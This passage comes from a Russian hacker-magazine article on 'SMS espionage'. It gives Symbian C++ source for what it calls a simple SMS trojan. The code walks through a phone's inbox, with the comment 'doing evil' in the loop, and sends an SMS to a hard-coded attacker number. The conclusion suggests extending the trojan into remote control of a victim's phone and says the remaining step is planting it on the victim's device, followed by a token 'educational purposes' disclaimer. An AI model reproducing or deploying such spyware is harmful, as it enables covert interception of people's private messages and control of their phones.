Смс–шпионаж Тарасов Дмитрий aka Dem@n Хакер, номер #093, стр. 093-132-4 CleanupStack::PushL(session); //создаем объект сессии TMsvSelectionOrdering order(KMsvNoGrouping,EMsvSortByDate,ETrue); //объект, определящий порядок сортировки sms CMsvEntry* inboxEntry=CMsvEntry::NewL(*session,KMsvGlobalInBoxIndexEntryId,order); CleanupStack::PushL(inboxEntry); //Выбираем входящие сообщения CMsvEntrySelection* selection=inboxEntry->ChildrenWithTypeL(KUidMsvMessageEntry); CleanupStack::PushL(selection); //создаем список сообщений в Inbox TMsvEntry messageEntry; // создаем объект для entry TMsvId owningServiceId=KMsvDraftEntryId; const TInt count(selection->Count()); //количество сообщений в Inbox for (TInt i=0;i<count;i++) { User::LeaveIfError(session->GetEntry((*selection)[0],owningServiceId,messageEntry)); //на данной итерации messageEntry - i-я смска в Inbox :) //творим зло } CleanupStack::PopAndDestroy(4); //освобождаем память Создаем смс void CXaSendSms::SMSFunc(TDesC &aRecipientAddress) { CSendAsObserver *anObserver = new CSendAsObserver(); CSendAs* aSendAs = CSendAs::NewL(*anObserver); //создаем класс, отвечающий за отправку смс CleanupStack::PushL(aSendAs); aSendAs->AddMtmCapabilityL(KUidMsvMtmQueryEditorUid,EFalse); aSendAs->SetMtmL(KUidMsgTypeSMS); //устанавливаем тип сообщения - sms aSendAs->CreateMessageL(); //создаем сообщение aSendAs->AddRecipientL(aRecipientAddress); //добавляем адрес получателя CRichText& messageBody = aSendAs->ClientMtm().Body(); //инициализируем тело сообщения messageBody.Reset(); _LIT(KTestSmsMsg,"Neftis"); //так в Symbian C++ определяются строки messageBody.InsertL(0,KTestSmsMsg); //вставляем в сообщение текст aSendAs->SaveMessageL(ETrue); CleanupStack::PopAndDestroy(aSendAs); } //потом эту функцию в теле программы используем так: _LIT16(KData,"+79162198255"); //создаем строку с номером Хакера TBufC16<13> str(KData); //преобразовываем ее к типу TDesC & MSFunc(str.Left(12)); //создаем смс Вместо заключения В этой статье мы рассмотрели, как создать простенький смс-троян для смартфона. Функционал можно расширить по своему усмотрению, ведь фантазия и программерские возможности нам это позволяют. Например, легко добавить возможность управления чужой мобилой за счет посылки специальных команд с определенного номера и творить на ней ужасный произвол :). Дело за малым - внедрить прогу в аппарат жертвы. CD На диске ты найдешь исходник программы, познавательные доки, а также необходимое ПО WWW http://club60.org - пожалуй, единственный стоящий источник информации о Symbian на русском языке NewLC.com - весьма познавательный ресурс http://discussion.forum.nokia.com - здесь можно найти решение практически любой проблемы INFO Наша программка будет работать на большей части смартфонов под Symbian :) WARNINIG Информация в статье представлена исключительно в образовательных целях! Мы не несем ответственности за противозаконное использование этой информации |